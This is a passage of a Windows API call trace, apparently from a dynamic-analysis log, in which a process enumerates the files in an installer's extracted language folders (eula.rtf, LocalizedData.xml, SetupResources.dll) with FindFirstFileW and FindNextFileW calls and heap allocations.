	[0061.170] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.170] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.170] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.170] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.171] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.171] FindClose (in: hFindFile=0x5e03b0 | out: hFindFile=0x5e03b0) returned 1
	[0061.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.171] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1
	[0061.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.171] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0530
	[0061.171] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.171] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.171] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.172] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.172] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.172] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0061.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.172] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1
	[0061.172] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.172] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e06b0
	[0061.172] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.173] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.173] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.173] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.173] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.173] FindClose (in: hFindFile=0x5e06b0 | out: hFindFile=0x5e06b0) returned 1
	[0061.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.173] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1
	[0061.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.174] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02b0
	[0061.174] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.174] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.174] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.175] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.175] FindNextFileW (in: hFindFile=0x5e02b0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.175] FindClose (in: hFindFile=0x5e02b0 | out: hFindFile=0x5e02b0) returned 1
	[0061.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.175] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1
	[0061.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.175] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02f0
	[0061.175] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.176] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.176] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.176] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.176] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.176] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0061.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.176] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0061.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.177] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0930
	[0061.177] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.177] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.177] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.177] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.177] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.177] FindClose (in: hFindFile=0x5e0930 | out: hFindFile=0x5e0930) returned 1
	[0061.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.178] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0061.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.178] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0870
	[0061.178] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
